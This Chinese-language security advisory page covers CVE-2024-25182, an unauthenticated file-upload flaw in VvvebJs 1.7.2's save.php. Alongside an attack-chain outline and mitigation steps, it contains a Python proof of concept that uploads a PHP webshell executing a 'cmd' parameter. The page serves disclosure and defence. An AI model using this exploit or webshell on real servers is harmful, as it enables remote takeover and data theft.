IPBUF安全漏洞报告
English
CVE-2024-25182 CVSS 9.8 严重

CVE-2024-25182 VvvebJs 1.7.2 save.php文件上传漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2024-25182
漏洞类型
文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
VvvebJs

相关标签

文件上传漏洞远程代码执行无需认证VvvebJsCVE-2024-25182webshellCVSS 9.8Web应用安全CMS漏洞

漏洞概述

CVE-2024-25182是VvvebJs CMS 1.7.2版本中存在的一个严重文件上传漏洞。该漏洞位于save.php文件,由于程序对用户上传的文件缺乏充分的验证和过滤,攻击者可以上传恶意文件(如PHP webshell)到服务器。漏洞的CVSS评分高达9.8,属于严重级别,表明其对系统和数据安全构成极大威胁。此漏洞无需任何认证即可被利用,攻击者可以通过网络直接发起攻击,无需获取任何用户凭据。由于VvvebJs是一款开源的JavaScript CMS,广泛应用于网站构建和内容管理系统,该漏洞可能影响大量使用该系统的网站。攻击者成功利用此漏洞后,可以上传webshell并获得服务器的远程代码执行权限,进而完全控制目标系统,窃取敏感数据、植入后门或进行其他恶意活动。由于无需认证且可远程利用,该漏洞在互联网上极易被自动化扫描工具发现和利用,存在被大规模扫描和攻击的风险。建议受影响的用户立即采取修复措施,更新到安全版本或应用官方提供的补丁。

技术细节

VvvebJs 1.7.2版本中的save.php文件存在文件上传漏洞。漏洞的根本原因在于程序对上传文件的类型、内容和扩展名缺乏严格的验证机制。具体来说,save.php端点直接处理用户通过HTTP请求提交的文件数据,未对上传的文件进行白名单限制、MIME类型检查或文件内容扫描。攻击者可以通过构造恶意的multipart/form-data请求,上传包含恶意代码的文件。典型的攻击方式是上传一个.php文件,该文件包含webshell代码,例如使用system()、exec()或eval()等函数执行系统命令。由于服务器配置不当或VvvebJs的文件上传功能未正确配置,上传的PHP文件可能被直接解析执行。攻击者可以通过访问上传后的文件路径(如/uploads/filename.php)来触发webshell,从而在服务器上执行任意操作系统命令。这种攻击方式绕过了传统的Web应用防火墙(WAF)检测,因为请求看起来像是正常的文件上传操作。成功利用此漏洞后,攻击者可以获取服务器的完全控制权,执行远程代码、读取敏感配置文件、连接数据库窃取数据,甚至横向移动到内网其他系统。

攻击链分析

STEP 1
步骤1
信息收集:攻击者扫描互联网或内网中运行VvvebJs 1.7.2或更早版本的目标服务器
STEP 2
步骤2
识别漏洞端点:访问目标服务器的save.php文件上传接口
STEP 3
步骤3
构造恶意请求:创建包含PHP webshell代码的恶意文件,使用multipart/form-data格式发送POST请求到save.php
STEP 4
步骤4
上传webshell:绕过简单的文件类型检查,上传.php后缀的恶意文件到服务器
STEP 5
步骤5
触发代码执行:通过HTTP请求访问上传的webshell文件,传递cmd参数执行系统命令
STEP 6
步骤6
持久化控制:在服务器上安装后门、建立持久化访问、窃取数据或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-25182 PoC - VvvebJs File Upload RCE # Target: VvvebJs <= 1.7.2 via save.php target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' upload_endpoint = f'{target_url}/save.php' # Prepare malicious PHP file (webshell) payload = '<?php if(isset($_GET[\'cmd\'])){ system($_GET[\'cmd\']); } ?>' # Create multipart form data files = {'file': ('shell.php', payload, 'application/x-php')} try: print(f'[*] Sending exploit to {upload_endpoint}') response = requests.post(upload_endpoint, files=files, timeout=10) if response.status_code == 200: print('[+] File uploaded successfully!') print(f'[+] Access shell at: {target_url}/uploads/shell.php?cmd=whoami') else: print(f'[-] Upload failed with status: {response.status_code}') print(f'[-] Response: {response.text}') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}')

影响范围

VvvebJs <= 1.7.2

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制save.php端点的访问权限,仅允许管理员IP访问;2)在Web服务器配置中禁止.php等脚本文件在上传目录执行;3)使用.htaccess或Nginx配置限制上传目录的脚本执行权限;4)部署WAF规则拦截异常的文件上传请求;5)监控Web日志,关注异常的save.php访问行为;6)考虑暂时禁用文件上传功能,直到完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表